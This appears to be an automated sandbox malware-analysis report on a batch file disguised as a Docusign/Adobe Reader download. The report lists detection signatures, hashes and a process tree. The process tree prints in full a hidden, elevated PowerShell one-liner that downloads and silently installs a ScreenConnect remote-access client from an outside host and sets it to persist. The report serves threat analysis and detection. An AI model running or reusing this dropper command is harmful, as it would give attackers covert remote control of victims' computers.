Analysis

  • max time kernel
    150s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 12:17

General

  • Target
    Docusign-8901123adobe-reader07zuillnirusi.bat
  • Size 735B
  • Sample260820-pf4teazvbv
  • SHA256 d63a6524fd2805a69f62b34263583994318a4850a38c4aebf4b7ece9168da8b0
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://centrodolce.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign-8901123adobe-reader07zuillnirusi.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2484
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -WindowStyle Hidden -Command ""[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $msi=''C:\Users\Admin\AppData\Local\Temp\sc.msi''; (New-Object Net.WebClient).DownloadFile(''https://centrodolce.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'', $msi); Start-Process msiexec -ArgumentList ''/i'', $msi, ''/qn'', ''/norestart'', ''/quiet'', ''ALLUSERS=1'', ''REBOOT=ReallySuppress'' -Wait; Start-Sleep 5; $s=Get-Service ''ScreenConnectService'' -EA 0; if($s){$s.ChangeStartMode(''Automatic''); if($s.Status -ne ''Running''){$s.Start()}}; Remove-Item $msi -Force -EA 0""' -Verb RunAs -WindowStyle Hidden"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3948
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $msi='C:\Users\Admin\AppData\Local\Temp\sc.msi'; (New-Object Net.WebClient).DownloadFile('https://centrodolce.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest', $msi); Start-Process msiexec -ArgumentList '/i', $msi, '/qn', '/norestart', '/quiet', 'ALLUSERS=1', 'REBOOT=ReallySuppress' -Wait; Start-Sleep 5; $s=Get-Service 'ScreenConnectService' -EA 0; if($s){$s.ChangeStartMode('Automatic'); if($s.Status -ne 'Running'){$s.Start()}}; Remove-Item $msi -Force -EA 0
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5768
        • C:\Windows\system32\msiexec.exe
          "C:\Windows\system32\msiexec.exe" /i C:\Users\Admin\AppData\Local\Temp\sc.msi /qn /norestart /quiet ALLUSERS=1 REBOOT=ReallySuppress
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2400
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    PID:3700

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 54aa570220e696de49a9a588711123e43032522c4578b6fa4f918d2666c1cb32
        • MD5 SHA1 SHA512 TLSH

        memory/3948-8-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/3948-5-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/3948-4-0x000002D0E37B0000-0x000002D0E37D2000-memory.dmp

        memory/3948-6-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/3948-7-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/3948-0-0x00007FFE4D74F000-0x00007FFE4D750000-memory.dmp

        memory/3948-9-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/3948-10-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/3948-11-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/3948-14-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/3948-13-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/3948-3-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-17-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-27-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-18-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-15-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-21-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-23-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-24-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-25-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-26-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-16-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-28-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-29-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-30-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-31-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-32-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-33-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp

        memory/5768-36-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp